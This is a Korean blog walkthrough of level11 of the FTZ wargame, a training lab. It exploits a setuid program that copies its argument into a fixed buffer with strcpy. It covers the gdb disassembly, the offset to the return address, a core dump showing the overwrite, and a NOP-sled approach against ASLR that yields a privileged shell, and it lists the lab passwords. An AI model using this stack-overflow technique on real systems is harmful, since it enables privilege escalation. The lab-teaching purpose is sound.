ipwn
[FTZ(Free Training Zone)] level11 -> level12 본문
이번에 풀 wargame은 FTZ이다.
사실 이전에 썼어야 했는데 하다보니 그냥저냥 Lord Of Bufferoveflow로 바로 넘어가버려서 이제야 쓴다.
이전 level들은 trainer level에서 배운 내용을 복습하는 느낌이기에 바로 level11부터 시작하도록 하겠다.
일단 FTZ의 환경은 기본적으로 LOB와 다르게 ASLR이 걸려있다.
즉 메모리 일부 값들이 프로그램 매 실행시마다 어지럽게 바뀔 것이다.
일단 접속을 해보도록 하겠다.
ID : level11
PASSWORD : what!@#$?
[level11@ftz level11]$ ls -l total 28 -rwsr-x--- 1 level12 level11 13733 Mar 8 2003 attackme -rw-r----- 1 root level11 168 Mar 8 2003 hint drwxr-xr-x 2 root level11 4096 Feb 24 2002 public_html drwxrwxr-x 2 root level11 4096 Feb 4 21:35 tmp [level11@ftz level11]$ |
이렇게 처음에는 attackme파일과 hint파일 그리고 public_html디렉토리가 있을 것이다.
(tmp는 core파일을 만들기 위해, 또 attackme파일을 디버깅하기 위해 만들어주는 폴더이다.)
일단 가장먼저 hint파일을 열어서 소스코드를 확인해보겠다.
#include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } |
간단한 bof문제이다.
str의 범위가 제한받지 않고 복사되기에 ret을 덮을 수 있다.
메모리값은 | str[256] | dummy(??) | sfp(4) | ret(4) |의 형식으로 되어 있을 것이다.
한 번 str과 sfp사이의 dummy가 얼마나 있을지 한 번 알아보겠다.
[level11@ftz level11]$ gdb -q attackme (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x08048470 <main+0>: push ebp 0x08048471 <main+1>: mov ebp,esp 0x08048473 <main+3>: sub esp,0x108 0x08048479 <main+9>: sub esp,0x8 0x0804847c <main+12>: push 0xc14 0x08048481 <main+17>: push 0xc14 0x08048486 <main+22>: call 0x804834c <setreuid> 0x0804848b <main+27>: add esp,0x10 0x0804848e <main+30>: sub esp,0x8 0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12] 0x08048494 <main+36>: add eax,0x4 0x08048497 <main+39>: push DWORD PTR [eax] 0x08048499 <main+41>: lea eax,[ebp-264] 0x0804849f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x10 0x080484a8 <main+56>: sub esp,0xc 0x080484ab <main+59>: lea eax,[ebp-264] 0x080484b1 <main+65>: push eax 0x080484b2 <main+66>: call 0x804833c <printf> 0x080484b7 <main+71>: add esp,0x10 0x080484ba <main+74>: leave 0x080484bb <main+75>: ret 0x080484bc <main+76>: nop 0x080484bd <main+77>: nop 0x080484be <main+78>: nop 0x080484bf <main+79>: nop |
코드를 보면 알 수 있듯이 strcpy의 인자로 ebp-264 가 넘겨지는 것을 알 수 있다.
그러므로 sfp와 str사이의 dummy값은 8byte가 섞여들어가 있다는 말이 된다.
즉 264byte + 4byte를 덮어서 sfp까지 완벽히 덮어준 후 ret을 변조한다면, shell을 가져올 수 있을 것이다.
FTZ의 환경은 ASLR이 걸려있기 때문에, 정확한 shell code의 주소를 알 수 없으므로 nopsled를 이용해야만 한다.
이제 한 번 값을 넘겨주고 core dump를 가져오겠다.
그러기 위해서 일단 tmp 디렉토리에 attackme를 cp해서 값을 넘겨주도록 하겠다.
일단 str ~ sfp값을 전부 A로 덮고 ret은 B로 그 뒤는 nop과 shellcode로 덮어주었다.
한 번 core dump를 이용해 메모리값을 보도록 하겠다.
[level11@ftz tmp]$ gdb -q -c core.11975 Core was generated by `./attackme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x42424242 in ?? () (gdb) x/24x $esp-0x70 0xbfffe7e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe7f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe800: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe810: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe820: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe830: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbfffe840: 0x41414141 0x41414141 0x41414141 0x42424242 0xbfffe850: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe860: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe870: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe880: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe890: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbfffe8a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe8b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe8c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe8d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe8e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe8f0: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) |
보면 eip가 BBBB의 값으로 변조된 것을 확인할 수 있다.
그리고 nop가 2000개 들어있으므로, ASLR로 위치가 바뀌어도 대충 어느 부분의 nop을 위치할 것이므로
중간부분 쯤의 nop주소를 BBBB값 대신 넘겨주도록 하겠다.
보면 이렇게 많아도 20번 내외로 shell이 가져와지는 것을 확인할 수 있다.
이제 원본 파일에 payload를 넘겨주고 권한이 상승한 shell을 가져오겠다.
이렇게 shell을 가져올 수 있었다.
NEXT LEVEL ID : level12
NEXT LEVEL PW : it is like this
'Write up > FTZ' 카테고리의 다른 글
[FTZ(Free Training Zone)] level12 -> level13 (0) | 2018.02.22 |
---|